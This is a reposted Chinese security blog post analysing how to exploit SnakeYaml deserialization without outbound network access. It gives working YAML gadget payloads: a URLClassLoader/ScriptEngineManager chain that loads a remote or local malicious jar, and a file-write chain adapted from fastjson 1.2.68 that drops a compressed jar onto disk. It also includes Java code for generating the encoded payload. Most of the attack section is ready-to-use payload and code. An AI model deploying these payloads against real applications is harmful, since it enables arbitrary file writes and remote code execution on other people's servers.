5

SnakeYaml的不出网反序列化利用分析 - 功夫小熊猫

 1 year ago
source link: https://www.cnblogs.com/vpandaxjl/p/17155728.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

SnakeYaml的不出网反序列化利用分析

SnakeYaml的常见出网利用方式:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
  ]]
]

不出网利用方式:写入恶意文件,之后使用上面的利用链。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["file:D:\\yaml-payload.jar"]
  ]]
]

在java中的执行如下

URL url = new URL("file:D:\\yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);

写入文件的利用链来源于fastjson 1.2.68利用链,主要是分析这条链。

{
  "@type": "java.lang.Exception",
  "@type": "java.io.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "D:\\yaml-payload.jar",
      "append": "false"
    },
    "infl": {
      "input": "xxxxx"
    },
    "bufLen": 1048576
  },
  "protocolVersion": 1
}

翻译成java执行方式大概是这样:

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
//先对字节码压缩
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\\yaml-payload.jar"));
Inflater inflater = new Inflater();
//解压
inflater.setInput(b);
InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576);
//这里并没有用MarshalOutputStream,因为MarshalOutputStream构造方法,调用out参数,最终是给父类ObjectOutputStream的构造方法执行的,所以直接使用ObjectOutputStream好了。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);

从最外层开始看,ObjectOutputStream构造方法,顺利执行了InflaterOutputStream.write(buf, 0, pos);,最终得到写入效果。

public ObjectOutputStream(OutputStream out) throws IOException {
        verifySubclass();
    	//this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576);
        bout = new BlockDataOutputStream(out);
        handles = new HandleTable(10, (float) 3.00);
        subs = new ReplaceTable(10, (float) 3.00);
        enableOverride = false;
        writeStreamHeader();
    	//执行out.write
        bout.setBlockDataMode(true);
        if (extendedDebugInfo) {
            debugInfoStack = new DebugTraceInfoStack();
        } else {
            debugInfoStack = null;
    }
}

然后看InflaterOutputStream的write方法。

// Decompress and write blocks of output data
do {
    //这里的inf是Inflater对象,对象中已经包含了要写入的内容,之前由setInput写入,inf的赋值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)构造方法中赋值。并且构造方法还赋值了out为fileOutputStream1。
    //在inf.inflate(buf, 0, buf.length)中inf对象的字节码压缩后传递给buf,最终调用out.write(buf, 0, n)写入到文件
    n = inf.inflate(buf, 0, buf.length);
    if (n > 0) {
        out.write(buf, 0, n);
    }
} while (n > 0);

这个链是给SnakeYaml做反序列化,可以这样写:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: 压缩过的字节码内容 },1048576]]

压缩过的字节码内容,需要生成,生成完了dump成SnakeYaml的效果。

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);

Yaml yaml = new Yaml();
String dump = yaml.dump(b);
System.out.println(dump);
=================================
输出是这样的
!!binary |-
  eJwL8GZmEWHg4OB......略

最终的写入利用链:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]
1639143-20230225233703772-1646912898.jpg

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK